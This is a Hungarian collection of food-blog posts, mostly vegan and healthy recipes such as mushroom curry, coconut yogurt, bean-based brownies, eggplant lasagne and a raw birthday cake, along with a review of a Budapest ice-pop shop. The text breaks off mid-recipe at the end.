A Vámház körúti Ázsia boltban azon ábrándoztam, hogy pénzintézet helyett sokkal inkább egy hasonló üzletet fosztanék ki. Kb. az alábbi mondatok kíséretében: "Rablótámadás, senki ne mozduljon! Te ott azzal a csokor korianderrel, arccal a földre! Te meg dobd el szépen azt a wasabis tégelyt, hogy lássam mindkét kezedet! Senki nem hősködik, mert beterítem az agyával a chiliszószos pultot! Hölgyem, ott a kasszánál! Tegye a szatyorba azt a mozsarat meg az indiai fűszereket! Az asafoetida meg a lepkeszegmag maradhat, azokból bespájzoltam egész évre. Az a tandori fűszerkeverék csípős vagy inkább csak pikáns? Ha az utóbbi, azt is viszem." Nos, ilyen gondolatok közepette szereztem be a currylevél nevezetű cuccot, mely az alábbi varacskos tapló módon finom specialitás kulcsösszetevője.
Beszerzendő:
1/2 kg gomba (én speciel csiperkét használtam) 3 evőkanál paradicsompüré 1 fej felkockázott vöröshagyma 1 db felkockázott kaliforniai paprika 3 db zöldchili vagy 1/2 hegyes erőspaprika 1 tk római kömény (egész) 2 tk mustármag 1 tk garam masala 1 tk kurkuma 2-3 cm gyömbér felaprítva 1 gerezd fokhagyma pár csepp citromlé 1 ek currylevél só Az "öntethez": 1 ek kókuszzsír 2 ek currylevél 3 gerezd felaprított fokhagyma 1 ek felaprított korianderlevél kevés feketebors só Egy edényben kevés olívaolajat hevítünk, majd hozzáadjuk a mustármagot. Ha pattog, és nem választottunk kellően mély edényt, válogatott, fejhangon abszolvált bazmegek közepette hozzáadjuk a római köményt, a currylevelet, a felaprított zöldchilit és a kurumát. Hozzápasszítjuk a hagymát, a felkockázott paprikát, a gyömbért, belenyomunk egy gerezd fokhagymát, megsózzuk, majd a hagymát kis lángon figyelmesen, tapasztaltan, türelmesen megpároljuk, közben párszor megkeverjük. Hozzáadjuk a garam masalát, a paradicsompürét, megkeverjük, majd legvégül jöhet a felkockázott gomba és a só. Jó öt percig fedő alatt pároljuk. Közben egy másik edényben felolvasztjuk a kókuszzsírt, hozzáadjuk a fokhagymát, és egy-két percig kevergetve pároljuk. Hozzáadjuk a currylevelet, a sót, a korianderlevelet és a borsot. Ha megvagyunk, az így keletkezett elegyet zokszó nélkül rálöttyintjük a gombára, majd jól elkeverjük. Az elkészült művet rizsával vagy naan kenyérrel szervírozzuk.
Padlizsán tekercs
Egy igazi nyári ebéd, ha már unod a salátát és valami egészsen finomra és különlegesre vágysz. Nagyon sok féle képpen variálhatod a tölteléket. Én valami könnyű sajtos ízre vágytam, és egy elképesztően finom, könnyed ebédet alkottam. hozzávalók - 2 padlizsán - zabliszt, zabkorpa, tojás, kókuszzsír(rántáshoz) - 250gr brindza - 250gr túró - bazsalikom Így készítsd - A pdlizsánokat vékonyan hosszába csíkozd fel - Csináld meg a rántást, majd rántsd ki a hagyományos módon (liszt helyett zabliszt, morzsa helyett zabkorpa) - Addig készítsd el a krémet: a sajtot a túrót és a bazsalikomot alaposan keverd össze - Töltsd meg a padlizsáncsíkokat - Tekerd fel őket - Süsd ki előmelegített sütőben 180fokon 30percig
Gyors, zöldséges leves
Most egy olyan levest hozok nektek, pontosabban nem én, hanem a Zöldház Bio panzió tulajdonosa, Anikó osztotta meg velem ezt a receptet. Ebben a levesben az a jó, hogy az alapja egy tetszőleges zöldség, és egy tetszőleges gabona. Én most sárgarépalevest készítettem zabpehellyel, de készíthetsz hasonló elvek alapján karalábélevest árpapehellyel is. Hozzávalók (2-3 adag): - 1 evőkanál kókuszolaj - 25-30 dkg sárgarépa julienne szeletelővel felvágva - fél csésze zöldborsó - himalája só, bors, mindenmentes ételízesítő - 2 gerezd fokhagyma - 1 csokor petrezselyemzöld - 1 marék nagyszemű zabpehely (én szemes zabot pelyhesítővel törtem meg) Elkészítése: - A sárgarépát olajon dinszteld meg, szép sárga színe lesz a zsírnak. - Fűszerezd, add hozzá az összevágott petrezselyemzöldet és a vágott fokhagymát. - Öntsd fel vízzel. Amikor felforrt, szórd bele a zabpelyhet. - Lefedve, kb. 10 perc alatt főzd készre.
Trüffel csodák fél óra alatt
Ezt a két trüffelt mostanában gyakran készítem, a gyerekeimnél ez a sláger. Ez készült húsvétra, a kicsi lányom osztályába is ezt vittem, és holnap is ez fog készülni a városi gyereknapon. Csak egy baj van vele, gyorsan el is fogy. :) A kerek a brownie trüffel, a kókuszliszttel bevont pedig a karamellás kockák.
Kókuszjoghurt
2017. május 27. Gitta nyersétel blogja
Sokáig vártam, amíg első kókuszjoghurtomat elkészítettem. Őszintén megvallva nem szeretem a kókusz ízét édességen kívül más ételekben. Persze a csokis kókuszos sütitől elvárom, hogy kókuszos legyen, de egy joghurttól nem! Néhány leírásban elég bonyolultnak tűnik az eljárás... és amíg el nem mondta Noémi (örök hálám érte), hogy ez tulajdonképpen milyen egyszerű, nem is fogtam hozzá. És milyen rosszul tettem! Nagyon finom! Azóta szinte mindig van itthon, az egész család szereti. (és Noémi joghurtját volt szerencsém meg is kóstolni, igazából ez adott kedvet hozzá, hogy én is megcsináljam. Az eredeti receptet itt találod Kókusz joghurt) Akkor lássuk: A joghurt alvasztással készített tejtermék. A tejet előzőleg joghurtkulturával oltják be, ezzel segítve a fermentálást. Ez a joghurtkultura nem más, mint jótékony baktériumok keveréke, melyek a tejben lévő cukrot lebontják tejsavvá. Ha növényi tejből készítünk joghurtot, akkor mindenképpen cukrot kell adni a tejhez, hiszen a növényi tejben nincs olyan cukor, amit a baktériumok szeretnek. Az élőflórás joghurt rendkívül egészséges, hiszen helyreállítja a bélflórát, így javítja az emésztést. Hozzávalók: 4 dl kókuszkrém (lehetőleg adalék és töltőanyagoktól mentes, 100% kókuszkivonatot tartalmazó kókuszkrémet használjunk, ilyen pl. a Banaban bio kókuszkrém) 1 evőkanál kókuszcukor (vagy agavé szirup, vagy más növényi szirup) 1 csapott kávéskanál agar agar por (vagy 1 evőkanál almapektin) + 1 dl víz 2 kapszula probiotikum vagy két evőkanál probiotikus ital* 1 steril befőttesüveg, steril kanál *Bármilyen probiotikus készítmény megfelel, pl. a Bio-Kult vagy JutaVit Probium, ezek kapszulák, de folyékony baktérium kultúrákat is használhatunk, mint pl. az Emocio vagy Imsyser, lényeg, hogy tartalmazzon lactobacillus bulgaricus és a streptococcus thermophilus-t, ugyanis a joghurt előállításában ez a két baktériumtörzs vesz részt. Előkészítés: A befőttesüveget és a kanalat alapos elmosogatás után forrásban lévő vízbe tesszük 1-2 percre, így már steril lesz - a steril környezet nagyon fontos a sérülékeny baktériumflórák számára. Elkészítés: A kókuszkrémet rázzuk fel, mielőtt kibontjuk, majd töltsük át a steril befőttesüvegbe, és szintén steril kanállal keverjük bele a kókuszcukorral vegyített probiotikumot. Az agar-agart forrásban lévő vízben folytonos keverés közben feloldjuk, pár percig hagyjuk hűlni, majd hozzákeverjük a kókuszkrémhez. Nem elég keverni, el kell turmixolni, hogy homogén legyen. Most jön az, hogy betesszük a 45 fokra beállított aszalógépbe, és 10-12 órán keresztül érleljük. Ha nincs aszaló, akkor jó a sütő, vagy ha nyár van, akkor kora délelőttől egészen estig a tűző napon. Erjesztés végén még folyékony a krém, össze kell jól rázni, keverni, és kis poharakba kiönteni, és mehet a hűtőszekrénybe. Ilyenkor áll össze, és lesz az a jellegzetes joghurt állaga. Vannak joghurtkészítő gépek, ezek elintézik a megfelelő hőfokot, csak a hozzávalókat kell összekeverni. Ennek gyakorlati kivitelezéséről tapasztalat hiányában nem tudok beszámolni.
Brownie-falatok (vegán)
Előző receptemben egy összetettebb történetet írtam le a konzervgyártás kezdeti lépéseiről. A következő édességhez is kapcsolódhatna akár az az írás is, hiszen szintén babkonzervet (igen, jól olvasod :) ) használtam a brownie elkészítéséhez. Ami viszont a brownie sütemény történetét illeti, egy legenda szerint úgy találták fel, hogy egy szórakozott szakács elfelejtett sütőport tenni a csokoládétortába . A másik elképzelés szerint egy szakács tortát sütött, de túl kevés volt a liszt: ennek a híresztelésnek tudható be a sütemény szokványosnál könnyedebb állaga (akkor jó, ha belül még szinte ragacsos). Mindenképpen annyit tudhatunk, hogy a süteményt először az 1897-ből származó Sears, Roebuck and Co. katalógusban említették (ami elképzelhetően nem is napjaink brownie-ja volt), amely a Sears áruházlánc korabeli ,,akciós katalógusa volt.
A képen a Sears, Roebuck and Co. 1897-es egyik katalógusa látaható,
A katalógus elindulása is érdekes történet, miszerint Richard Sears felfigyelt arra, hogy a farmerek sok pénzt költenek arra, hogy a helyi árusoktól beszerezzék az életükhöz szükséges dolgokat. Erre alapozva létrehozta az első katalógust, ami kezdetben, 1888-ban, órákat és ékszereket, majd később széles áruválasztékot kínált, s amiből postai úton lehetett rendelni. 1894-ben, amikorra már ténylegesen "Sears, Roebuck and Co. catalog" címen terjedt, varrógépeket, sportfelszereléseket, hangszereket, babakocsikat, bicikliket és ruházatot árultak a katalógus oldalain. 2 évvel később már tavaszi és őszi kiadású katalógust is megjelentettek, sőt a Britannica Encyclopedia-t is meg lehetett rendelni a katalóguson keresztül.
A katalógus-történettől kanyarodjunk vissza a tömény édességhez, a brownie-hoz. Számos brownie recept létezik, és sok fajtája nagyon egyszerűen elkészíthető, ilyen következik most.
A recept
Hozzávalók:
- 1 konzerv vese bab/ vörös bab
- 2.5 dl növényi tej
- 1 ek őrölt lenmag 2-3 ek vízben áztatva pár percig
- 1 púpos ek kókusz zsír
- 1 tk szódabikarbóna
- 1 kikapart vanília vagy 1 ek vanília aroma
- 10 dkg nyírfacukor vagy xylit vagy kókuszvirág cukor
- 10 dkg karob vagy kakaópor
- 12 dkg teljes kiőrlésű liszt vagy zabpehely liszt vagy felesben a két liszt
- dió vagy aszalt gyümölcs (nyers gyümölcs esetében nehezen sül át, mivel a gyümölcs levet ereszt)
Elkészítés:
A babkonzervet lecsepegtetjük és kicsit átmossuk. A nyírfacukorral, a növényi tejjel, a megáztatott lenmaggal, a karobbal vagy kakaóval és a kókusz zsírral mixerbe vagy gyorsaprító gépbe tesszük a babokat és csomómentes, babmentes masszává dolgozzuk. A masszát egy tálba öntjük és a teljes kiőrlésű lisztet és/vagy zablisztet, szódabikarbónát és a vaníliát hozzáadjuk. Alaposan átkeverjük. Sütőpapíros tepsibe simítjuk vagy alacsony cupcake formákba kanalazzuk a masszát. A tetejére tehetünk diót vagy más diófélét, illetve aszalt gyümölcsöt. Előmelegített sütőben kb. 9-12 percig sütjük a korongokat, a tepsiben sült brownie esetében 20 perc is szükség lehet. Tűpróbával ellenőrizzük, hogy megsültek-e. Sütés után rácson hagyjuk kihűlni.
Banánkenyér aszalt gyümölcsökkel
Van, amikor már nem esik jól a megbarnult héjú banán, holott belül semmi baja nincs, alkalmas fogyasztásra. Remek módja a felhasználásának a következő recept. De ha nincs barna héjú banánod, de szépen érett sárga színben pompázik, akkor sem kell várnod, hiszen ugyanúgy finom édességet készíthetsz. Szerintem millikók és milliók készítik és kóstolják a különféle banánkenyereket világszerte. Az enyém márványosságában és aszalt gyümölcseiben lett különleges. Banáncsipszet is tettem hozzá és tetszett, hogy a puha és lágy tésztában megbújt néha egy roppanós falatka. Ha nem tudod, mit süss vegán barátaidnak, íme egy egyszerű, de finom recept. Olyan sokan készítik el tojással, miközben tojás nélkül is remek kenyér készülhet. Ha pedig vegán vagy, szolgáljon ötletül receptem arra, hogy mit süss leközelebb a vendégeknek/családnak.
A recept
Hozzávalók:
- 2 érett banán
- 1/2 bögre kókuszolaj
- 1/2 - 1 bögre eritrit/xylit/gyümölcscukor (vagy bármilyen cukorhelyettesítő, ízlés szerint, de gondoljunk arra, hogy az aszaltgyümölcsök is édesítik)
- 1 bögre liszt (fehérlisztet és teljes kiőrlésű lisztet fele-fele arányban használtam)
- 1 bögre zabliszt (őrölt zabpehely)
- 1 bögre növényi tej
- 1 bögre feldarabolt aszalt gyümölcs
- 1 teáskanál szódabikarbóna
- pár csepp citrom vagy narancs kifacsart leve
- 1 ek kakaó vagy karob (opcionális)
Elkészítés:
A banánokat villával összenyomkodjuk, majd hozzákeverjük a liszteket, a szódabikarbónát, a növényi tejet és az édesítőszert. Sűrűbb tészta kell legyen, valamivel sűrűbb. mint egy piskótáé. Hozzáadjuk az aszalt gyümölcsöket. (Én aszalt barackot, meggyet, szilvát, datolyát, banánt, áfonyát adtam hozzá.) Jól összekeverjük, végül pár csepp (1-2 evőkanálnak megfelelő) citrusféle levét. A püspökkenyérformát - amennyiben nem szilikonanyagú - kibéleljük sütőpapírral, majd beleöntjük a tésztát. 170°C-ra előmelegített sütőben sütjük kb. 45-55 percig. Tűpróbával ellenőrizzük, hogy átsült-e. Ha már nagyon pirulna a teteje sütés közben, alufóliát tegyünk a tetejére. Ha megsült, sütőből és formából óvatosan kiemelve rácson hagyjuk kihűlni. Kihűlés után szeletelhető.
Ha márványos tésztát szeretnénk, mielőtt a formába öntenénk, az alaptésztát két részre válsztjuk, az egyikhez kakaót vagy karobot keverünk. Ezután rétegezve öntjük bele a formába a két tésztát.
A tetejére csokimázt is készíthetünk karob/kakaó, folyékony kókuszzsír és datolyaszirup/etirit/nyírfacukor (ki milyen édesítőt használ) trióból. A jó elegyedéshez lehet némi hő szükséges a főzőlapunkon. A csokis krém sűrűsége kenhető állagú kell legyen. Ha rákentük a kihűlt banánkenyérre, hűtőben hagyjuk pihenni, dermedni.
Póréhagyma leves sajtgaluskával
A Zöldház Bio Panzió újabb étel ajánlata ez a leves, amely kitűnő előétele lehet a padlizsános lasagne-nak. A galuskát sajt nélkül is elkészítheted, persze akkor már nem lesz sajtgaluska. :) Hozzávalók: - 2 db póréhagyma - 1-2 evőkanál kókuszolaj - só, bors, szerecsendió - 1-1,5 liter víz - 20 dkg zöldborsó Sajtgaluska: - 1 házi vagy bio (0 vagy 1-es kódú) tojás - 1 evőkanál kissé megolvasztott vaj vagy kókuszolaj - csipet só - 3 evőkanál tönköly búzadara - 5-10 dkg ementáli sajt Elkészítése: - A póréhagymát kb. 1 cm széles karikára vágjuk, majd az olajon megdinszteljük. - Fűszerezzük, öntsük rá a vizet. - A zöldborsót adjuk a forrásban lévő leveshez. - A sajtgaluskához a tojás fehérjét verjük fel habbá. Óvatosan keverjük hozzá a többi hozzávalót. - Teáskanállal szaggassuk bele a sajtgaluskát. (Én nem a levesbe szaggattam, hanem külön vízben főztem ki.) Jó étvágyat! Anikó&Anikó
Padlizsános lasagne
Az életmódtábor helyszínét meglátogatva fogadott bennünket ezzel a csodás étellel a Zöldház Bio Panzió egyik tulajdonosa és háziasszonya, Anikó. Isteni finom volt minden étel, amit csak megkóstoltunk. Minden igényt ki tudnak elégíteni, azaz kérésre akár vegán vagy gluténmentes ételeket is készítenek. Anikóval megegyeztünk, hogy a jövőben megoszt velem bevált recepteket, amelyeket én is elkészítek, és számotokra is közzéteszem. Úgyhogy jöjjön az első étel, ez a padlizsános lasagne. Hozzávalók: - 25 dkg (1 doboz) lasagne tészta vagy tönköly lebbencs tészta - Padlizsán ragu*: kb 600-800g - Hígabb besamell mártás **: 7-8 dl - tetszőleges sajt reszelve ( legjobb, ha vegyes): 20-25 dkg * Padlizsán ragu - 50 dkg padlizsán - 5 dkg kókuszolaj/olívaolaj - 1 vöröshagyma - 40 dkg érett paradicsom - 15-20 g. fokhagyma (ez kb. 5-6 db) - 1/2 teáskanál só - oregánó, bazsalikom - A padlizsánt 1/2 cm vastagra felszeleteljük, besózzuk, majd állás után szűrőbe hideg vízzel alaposan leöblítjük. kevés olajjal meggrillezve elősütjük. - A vöröshagymát felvágjuk vékony szeletekre, és az olajon megdinszteljük. - A paradicsomot vágjuk vékony cikkekre, majd dobjuk rá a hagymára, kicsit sütjük, majd közben fűszerezzük. - A fokhagymát vágjuk fel apróra vagy reszeljük le. Fűszerezzük. - Az elősütött padlizsánt kb. negyedekbe vágva hozzáadjuk. - Pár percig óvatosan kevergetve főzzük össze. **Besamel mártás: - 40 g. bio vaj vagy kókuszzsír - 40 g. tönkölyliszt - 5 dl tej (növényi) - 1/2 teáskanál só - bors, szerecsendió - Vajon a lisztet kicsit felforrósítjuk, felöntjük tejjel, majd ízesítjük a megadott fűszerekkel. A végén kb. 2-3 dl vízzel hígítjuk. Összeállítása: Egy magas falú tepsi, vagy tűzálló tál aljára tegyünk - egy réteg padlizsán ragut , utána - tésztát (szárazon) - egy réteg besamell, reszelt sajttal megszórva, - majd ismét egy réteg padlizsán ragu, - tészta, - besamel és sajt. Előmelegített sütőben (170-180 fok), 25-30 perc alatt lefedve készre sütjük. Jó étvágyat! Anikó&Anikó
Teszt: Anjuna Ice Pops (vegán jégkrémező)
2017. május 11. Zizi kalandjai
Noha az időjárás lassan hozza a nyarat az Anjuna Ice Pops tulajdonosai merészen április közepére tették a terasz megnyitójukat. Emlékszem, hogy már tavaly is belefutottam a nevükbe, de csak idén jutottam el hozzájuk… és amit náluk ízleltem, tapasztaltam… na, hát az valami mennyei!
Az alapítók, tulajdonosok, két fiatal srác: Szalay József és Szabó Milán, egy közös indiai utazásukon döntötték el, hogy valami különlegesbe vágják a fejszéjüket. Maga a név is Indiából származik, az Anjuna egy tengerpartszakasz (örök fiatalság eszméjét sugározza) neve Goában.
Pálcikás jégkrémjeik valódi gyümölcsökből készülnek, természetes alapanyagokból, mesterséges színezékeket és adalékanyagokat mellőzve. Vannak állandó ízeik és szezonálisan változóak is. Minden termékük vegán (laktóz- és tojásmentes), illetve gluténmentes, néhányat készítenek nádcukor nélkül is.
Lelkes kézmodell, csak minél többfélét kóstolhasson
Két üzletük van jelenleg Budapesten, egy nagyon picike az 5. kerületben, a Sas utcában (közel a Bazilikához), a kicsit nagyobb pedig a 2. kerületben, a Lövőház utcában (Millenáris Park mellett). Ezenkívül van egy üzemük a 4. kerületben, ott készítik a jégkrémeket és onnan szállítják az üzletekbe. A jégkrémekhez jó minőségű kókusztejet, kókuszjoghurtot, rizstejszínt, friss gyümölcsöket használnak, a csokoládé Valrhona, a törökmogyoró piemonti (Piedmontból), a pisztácia pedig brontei (Szicíliából).
Élelmiszeripari mérnökkel dolgoznak együtt, vele tesztelik és alkotják meg az új ízeket, mint például a Valrhona különleges, maracujával fermentált csokijából készült ízt vagy az avokádó-lime-tárkony hármasából kókusztejjel kikevert ízt. Nagyon sokfélét kóstoltunk a terasznyitón, meg azóta is jártunk náluk és tényleg állítom, hogy életem legfinomabb, legjobb állagú jégkrémjeit náluk ettem. Lehetetlenség választani az ízek közül, de ami iszonyatosan “over-the-top” és feltétlen meg kell kóstolni az a kókusz, a pisztácia, a mogyoró, a mangó-maracuja és a szeder. De persze a többit se hagyjátok ki, ha náluk jártok!
A fiúk dolgoznak a csomagolás még környezetbarátabbá tételén. A jégkrémeken kívül kapható náluk sűrű, gyümölcsös acai smoothie bowl, chia puding, nyers sütemény és kávé. A jégkrémek kaphatók kisebb méretben (nem mindegyik íz) és nagyobb méretben, az árak 490 Ft-tól 790 Ft-ig terjednek.
***
Anjuna Ice Pops jégkrémező
1024 Budapest, Lövőház utca 24.
1051 Budapest, Sas utca 7.
Facebook
Instagram
A negyedik születésnapi torta (nyers, vegán, gluténmentes)
2017. május 10. Zizi kalandjai
El sem hiszem, hogy a nagyobbik kisfiam, Ádi már négy éves lett! Tisztán emlékszem a születésének minden pillanatára, az első fogának kibújására, az első önálló lépéseire, amikor tíz hónapos kora körül elkezdődött az übercukiság időszaka, ami azóta is tart, csak most már kiegészül gondolkodással, értelemmel. Két gyerek anyukájaként látom most már, hogy minden gyerek más és más, nagyon különbözőek a testvérek is. Ádi is teljesen más gyerek, mint Ákos. Persze huncutságban, zsiványságban nincs akadály egyikőjüknél sem! Nagyon nehéz két zsivánnyal a mindennapokat “túlélni”, de ilyenkor Éva barátnőm szavai csengenek a fülemben: “Ezeket az éveket senki nem adja vissza nekünk! Töltsünk velük olyan sok időt, amennyit csak tudunk!”
Ádi már magyarázó kiskrapek hihetetlenül jó humorral. Folyamatosan kérdez, nem győzünk a kérdéseire válaszolni és persze olyan kérdésekkel is bombáz, amire nem tudjuk a választ (gyorsan utánanézünk a neten, hogy képbe kerüljünk az adott témával kapcsolatban )! Nehéz vele lépést tartani, de igyekszünk. Imád kuktáskodni a konyhában, ezért is kapott egy ilyen szettet a ajándékba.
A szülinapját megint csak a biopiacon ünnepeltük szűk családi és baráti körben, ahogyan tavaly is. Annyira szuper a helyszín, minden adott a piknikezéshez, rohangáláshoz, játszóterezéshez és finom ételekhez. Hasonló dolgokat készítettem, mint tavaly, olyanokat, amelyeket könnyű enni két rohangálás között gyerekeknek és felnőtteknek is.
A tortát együtt választottuk ki Ádival. Az alaprecept a The Happy Pears srácoktól származik, kicsit módosítottam rajta. Az alapja magos-datolyás-vaníliás, középen van egy isteni karamell réteg, a tetején pedig egy egyszerű kókuszkrém. Igen, krém, bár többen az Instagram fotó alapján kókusztejszínhabnak gondoltátok. Nagyon-nagyon tömény torta, elég belőle egy vékony szelet. Nagy kapcsos formában készült, így bőven jutott mindenkinek.
Nyers vegán karamell-kókuszkrém torta Mentés Nyomtatás Előkészítési idő 15 perc Főzési idő 1 óra Teljes idő 1 óra 15 perc Könnyen elkészíthető nyers vegán karamell-kókuszkrém torta. Tömény, de nagyon finom! Szerző: Zizi Recept típusa: sütemény, torta, nyers Konyha: vegán, gluténmentes Adag/mennyiség: 8-10 főre Hozzávalók Torta alaphoz: 100 g dió 100 g kesudió 105 g friss datolya, kimagozva (aszalt is jó, csak érdemes használat előtt egy fél órára langyos vízbe beáztatni, hogy könnyebben aprítsa a robotgép) 2 evőkanál extra szűz kókuszzsír 1 evőkanál kókuszreszelék ¼ teáskanál őrölt vanília Karamell krémhez: 375 g friss datolya, kimagozva aszalt is jó, csak érdemes használat előtt egy fél órára langyos vízbe beáztatni, hogy könnyebben aprítsa a robotgép) 180 g mandulavaj 9 evőkanál víz 4 evőkanál extra szűz kókuszzsír ½ teáskanál őrölt vanília késhegynyi só Kókusz krémhez: 2 konzerv kókusztej (jó minőségű, 60% kókusz tartalmú), használat előtt hűtőbe téve 2-4 órára 2 evőkanál agavészirup ¼ teáskanál őrölt vanília Tálaláshoz: friss eper Elkészítés Tegyük a diót és a kesudiót a robotgépbe és aprítsuk szemcsésre. Ekkor adjuk hozzá a datolyát, a szobahőmérsékletű kókuszzsírt, kókuszreszeléket, és vaníliát. Dolgoztassuk a gépet addig, amíg a torta alapunk összeáll tésztává. A tortaformát béleljük ki folpackkal vagy kenjük ki kókuszolajjal és nyomkodjuk az aljába a datolyás diós-kesudiós keveréket, majd tegyük a hűtőbe megkeményedni, amíg elkészítjük a többi réteget. Mossuk el a robotgép tartályát. Tegyük a mandulavajat, a datolyát, a szobahőmérsékletű kókuszzsírt, a vaníliát és a sót a robotgépbe. Kezdjük el dolgoztatni a gépet és lassan adagoljuk hozzá a vizet. Akkor van kész, ha karamell ízű és nyúlós az állaga, mint a karamellnek. Kenjük ezt a krémet (kicsit nehézkes a nyúlós állaga miatt) a datolyás diós-kesudiós alapra és tegyük vissza a hűtőbe. Vegyük ki a kókusztejet a hűtőből és bontsuk ki. A hideg hatására kettévált a sűrű krémes rész a vizestől. Kanalazzuk ki a krémet mindkét konzervből egy tálkába. A vizes részt tegyük hűtőbe és használjuk fel turmixok készítéséhez. Adjuk a krémhez az agavészirupot és a vaníliát, majd jól keverjük el és kanalazzuk a torta tetejére. Tálalásig tartsuk hűtőben (legalább 2 órát)! Tálaljuk friss eperrel! Jegyzetek 23 cm-es kapcsos tortaformában készült. Feltétlen jó minőségű minél magasabb zsírtartalmú konzerv kókusztejet használjunk ehhez a recepthez. Édesítésre agavészirupot használtam, hogy megmaradjon a krém fehér színe, de természetesen használhatunk juharszirupot, vagy datolyaszirupot is. Ebben az esetben a krém drapp, világosbarna színű lesz. 3.5.3226
Lecsós-lencsés rizs
A lecsó nálunk egy jolly joker. Sokféle gabonával, hüvelyessel társítható, ízletes, és teljes értékű étel lesz belőle. Ebben a receptben rizs és vöröslencse került bele, de készítettem már bulgurral és kölessel is. HOZZÁVALÓK: - 1/2 csésze vöröslencse - 1/2 csésze parbolied rizs - 1 üveg nyáron eltett lecsó (vagy készítsd el frissen) - füstölt pirospaprika, só, bors ÍGY KÉSZÍTSD EL! - A lecsót főzd készre. A hagymát dinszteld meg 1 evőkanál kókuszolajon, majd öntsd rá a lecsót. Süsd össze. - Öntsd bele a vöröslencsét és a rizst. - 25 perc alatt főzd készre. Szükség esetén kevés vizet adj hozzá.
Omlós kókuszos keksz
Sok maradt a brokkoli, így gondoltam csinálok valami édeset is. Elég bizarúl hangzik, de az eredmény meglepően finom lett. Hozzávalók - 150gr brokkoli - 100gr kókuszliszt - 65gr zabliszt - 3 tojás - 50ml kókusztej - 4ek édesítő - 50gr joghurt Így készítsd - A brokkolit szedd rózsáira, majd pépesítsd - Add hozzá a nedves hozzávalókat - Egy külön tálba keverd össze a hozzávalókat - Majd dolgozd össze a két keveréket - Formázz kis kekszeket, majd tedd sütőpapírral bélelt tepsibe - Süsd 180 fokon 30 percig
Kókuszos csokis keksz
2017. április 26. Beautilicious
Egy kis csokis keksznek senki nem tud ellenállni, de nem is kell, hisz ha ezt eszed, a bűntudatnak nincs helye. :) Hozzávalók - 1cukkini - 160gr zab - 40gr kókuszreszelék - 30gr kakaópor - 20gr édesítőszer Így készítsd - A megtisztított cukkinit pépesítsd - Add hozzá a kókuszreszeléket, kakaóport és az édesítőt - A zabpelyhet pirítsd le, majd keverd a cukkinis keverékhez - Öntsd a masszát stőpapírral bélelt tespibe - Süsd 175fokon 40percig
Csokicsipszes briós
Ezekből a brioche-okból egy falat sohasem elég. Még Londonban éltünk, amikor az utolsó hetekben egy nagyon finom, puha, csokicsipszes édes pékárut kóstoltam. Nem volt vegán, ami zavart is, de érdekelt, milyen az íze a francia "beütése" miatt is. Finom volt. Azóta is sok helyen látok. A legtöbb üzletnek van saját márkás "Brioche Chocolate Chips Rolls" zacskóba csomagolva. Általában 8 darab van benne, s elképesztő, milyen sok üres kalória van egyetlen "roll"-ban. Egy ilyen kis tekercs/hosszúkás zsömle akár 120-140 kalóriát is tartalmaz. Azért döbbenetes, mert éhségcsillapításra aztán cseppet sem alkalmas, inkább csak ennél még és még belőle. Nem csak vegánnal, de olyannal sem találkoztam, amibe legalább némi teljes kiőrlésű liszt van. Így hát nem hagyott békén a gondolat, hogy ezt nekem is ki kell próbálnom a saját utam szerint először is tojás és állati tej nélkül, másodszor a gyilkos fehér cukrot lecserélve egészségesebb édesítőre, harmadszor a fehér liszt egy részéhez teljes kiőrlésű és zabpehely lisztet keverve. No így már sokkal jobb volt. Így készült el a vegán csokicsipszes briosom vegán változata franciák után szabadon. Persze ebből is ennél még és még, de legalább valamivel egészségesebb hozzávalókkal készült.
A recept
Hozzávalók:
- 2,5 dkg élesztő
- 5 dl növényi tej
- 10 dkg kókuszzsír + a tészta kenéséhez
- 15 dkg fehér liszt
- 15 dkg teljes kiőrlésű liszt
- 10 dkg őrölt zabpehely
- 2 ek nyírfacukor/nádcukor/kókuszvirágcukor, stb
- 2 ek kevés vízben áztatott őrölt lenmag (tojás helyett)
- csipetnyi só
- vanília
- étcsoki csipsz (vegán)
Elkészítés:
Egy tálba vagy a kenyérsütő üstjébe belemorzsoljuk az élesztőt, hozzáadunk 2 ek édesítőszert (nyírfacukrot használtam), majd felöntjük a kézmeleg növényi tejjel. Várunk 1-2 percet, majd a fenti sorrendben hozzáadjuk a többi hozzávalót, kivéve a csoki csipszeket. A dagasztás/kelesztés programon elindítjuk. Ennek híjával fakanállal vagy a kezünkkel úgy gyúrjuk össze a tésztát, addig dagasztjuk kezünkkel, míg a táltól az elválik és hólyagocskák jelennek meg a dagasztás során. Ha kézzel dolgoztunk, meleg helyen konyharuhával letakarva kelesztjük. A kenyérsütő a program szerint elvégzi ezt.
A kész tésztát lisztezett deszkán kinyújtjuk, megszórjuk csoki csipszekkel, feltekerjük mint egy hengert, majd szeleteket vágunk belőle, amiket sütőpapíros tepsire fektetünk. Másik lehetőség, hogy vastagabb tésztát pogácsaszaggatóval kiszaggatunk, vagy apró zsömléket formázunk a tésztából. Persze tudom, a magyar pékségek briósa egészen másképp néz ki, mint az angol. Akár briósokat is csavarhatunk belőlük. Ez esetben vékonyabb rudakat kell vágni, majd felcsavarni. A tetejét egy pici folyékony kókusz-zsírral érdemes megkenni. Ettől fényesebb lesz. Közepes lángon megsütjük. A sütés utolsó 10 percében egy kis édes vaníliás növényi tejjel megkenhetjük. Ettől lesz kívül enyhén roppanós, belül puha.
Medvehagymás szendvicskrém
Tegnap délután fontos találkozóm volt. Unokanővéremnek adtam vissza a kölcsön baba-légzésfigyelőt, mivel nekünk már nincs rá szükségünk, nekik viszont talán két hét múlva már ismét. :) Hát, igen, így bővül a család mindkét oldalon. :) Szóval, a légzésfigyelő visszavándorolt, és én nem akartam üres kézzel menni. Viszont csak a Hollán Ernő utcai Stelázsi esett útba, ami bármilyen izgalmas hely is, most sajnos nem volt a legideálisabb beszerzési forrás. Nagyrészt házi lekvárokat és szörpöket találtam, amiből még a cukormenteseket sem szívesen vittem volna inzulinrezisztens házba ajándékba. Mi legyen, mi legyen? Részletesen megvizsgáltam mindent, és ezúton is köszönöm azt a végtelen türelmet, amit egyrészt az eladó, másrészt a babakocsiban ülő egyéves tanúsított mindeközben. ;) Végül aztán megtaláltam: egy csinos csuporban medvehagymás szendvicskrém! Olyan gusztusos volt, nehezen álltam meg, hogy ne vegyek belőle magamnak is egy üveggel. Végül ehelyett megnéztem inkább az összetevők listáját, és megszületett ez a recept. :) Azoknak ajánlom, akiknek nincs mindig idejük medvehagymás pogácsát sütni. Hozzávalók egy 2-3 fős reggelihez: - 20 szál medvehagyma - 50 g dió - 10 g olívalolaj - 20 g kókuszolaj - fél mk só - 2 kk citromlé Az összetevőket és a felolvasztott kókuszolajat tegyük turmixba, és pépesítsük. Rögtön tálalható, de az állagának jót 